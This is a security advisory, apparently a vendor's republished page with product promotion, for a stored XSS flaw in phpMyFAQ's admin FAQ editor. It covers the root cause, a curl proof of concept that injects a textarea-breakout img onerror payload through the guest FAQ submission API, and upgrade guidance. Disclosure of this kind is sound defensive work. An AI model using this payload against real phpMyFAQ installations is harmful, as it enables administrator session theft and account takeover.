Summary
phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission
A stored cross-site scripting (XSS) vulnerability in phpMyFAQ allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator's browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because html_entity_decode() converts HTML entities into executable HTML after strip_tags() has already passed them through, and the admin template renders the content with Twig's |raw filter without any output sanitization.
Details
Vulnerable file: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php (lines 109-115)
$answer = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);
if ($this->configuration->get(item: 'main.enableWysiwygEditorFrontend')) {
$answer = trim(html_entity_decode((string) $answer));
}
Root cause:
Filter::filterVar() with FILTER_SANITIZE_SPECIAL_CHARS internally calls filterSanitizeString() which applies strip_tags() to remove HTML tags. However, strip_tags() only removes actual HTML tag syntax (e.g., <script>), it does NOT remove HTML entities (e.g., <script>).
When enableWysiwygEditorFrontend is true, html_entity_decode() is subsequently called, which converts the surviving HTML entities into real, executable HTML. No server-side HTML sanitizer (such as the Symfony HtmlSanitizer already used elsewhere in the codebase) is applied before storing the content in the database.
Vulnerable sink (admin template): phpmyfaq/assets/templates/admin/content/faq.editor.twig (line 127)
<textarea id="editor" name="answer" class="form-control" rows="7"
placeholder="{{ 'msgAnswer' | translate }}"
>{{ faqData['content'] | raw }}</textarea>
The admin FAQ editor controller (Administration/FaqController.php) loads the FAQ content directly from the database and passes it to the template without sanitization:
$this->faq->getFaq($faqId, null, true);
$faqData = $this->faq->faqRecord; // Raw content from DB
Note: The public-facing FAQ view IS properly sanitized via FaqHelper::cleanUpContent() which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable.
PoC
Prerequisites:
main.enableWysiwygEditorFrontend=true(non-default, but commonly enabled for rich-text user FAQ contributions)records.allowNewFaqsForGuests=true(DEFAULT value, guests can submit FAQs)- At least one FAQ category must exist
Step 1: Inject XSS payload as unauthenticated guest
curl -X POST https://TARGET/api/faq/create \
-H 'Content-Type: application/json' \
-d '{
"name": "Legitimate User",
"email": "[email protected]",
"question": "How to configure SMTP settings?",
"answer": "</textarea><img src=x onerror=alert(document.domain)><textarea>",
"lang": "en",
"keywords": "smtp email",
"rubrik": ["1"],
"captcha": "<valid-captcha-or-empty-if-disabled>"
}'
Response: {"success":"Thank you for your suggestion!"}
Processing trace:
- Input answer:
</textarea><img src=x onerror=alert(document.domain)><textarea> filterSanitizeString()→strip_tags()finds no actual<tag>syntax → string passes through unchangedhtml_entity_decode()converts entities →</textarea><img src=x onerror=alert(document.domain)><textarea>- Stored in database as raw executable HTML
Step 2: Admin triggers XSS by reviewing the submitted FAQ
When an administrator navigates to edit the submitted FAQ entry:
GET /admin/faq/edit/{faqId}/{lang}
The admin template renders:
<textarea id="editor" name="answer" class="form-control" rows="7"
placeholder="Answer"
></textarea><img src=x onerror=alert(document.domain)><textarea></textarea>
The </textarea> breaks out of the editor textarea element, and the <img onerror=...> executes JavaScript immediately in the admin's browser context.
Note: For logged-in users submitting FAQs, the captcha check is automatically bypassed (BuiltinCaptcha::checkCaptchaCode() returns true when user is logged in).
Impact
- Stored XSS targeting administrators, every FAQ submission is reviewed by an admin, guaranteeing payload delivery
- Admin account takeover, attacker can steal session cookies, create new admin accounts, or modify system configuration
- No special privileges required, default configuration allows guest FAQ submissions (
records.allowNewFaqsForGuests=true) - Public view is unaffected, the public FAQ display uses Symfony HtmlSanitizer which strips event handlers; only the admin panel is vulnerable
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-56736 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.2.0-alpha); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
thorsten/phpmyfaq to 4.2.0-alpha or later; phpmyfaq/phpmyfaq to 4.2.0-alpha or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-56736? CVE-2026-56736 is a high-severity cross-site scripting (XSS) vulnerability in thorsten/phpmyfaq (composer), affecting versions < 4.2.0-alpha. It is fixed in 4.2.0-alpha. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-56736? CVE-2026-56736 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-56736?
thorsten/phpmyfaq(composer) (versions < 4.2.0-alpha)phpmyfaq/phpmyfaq(composer) (versions < 4.2.0-alpha)
- Is there a fix for CVE-2026-56736? Yes. CVE-2026-56736 is fixed in 4.2.0-alpha. Upgrade to this version or later.
- Is CVE-2026-56736 exploitable, and should I be worried? Whether CVE-2026-56736 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-56736 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-56736?
- Upgrade
thorsten/phpmyfaqto 4.2.0-alpha or later - Upgrade
phpmyfaq/phpmyfaqto 4.2.0-alpha or later
- Upgrade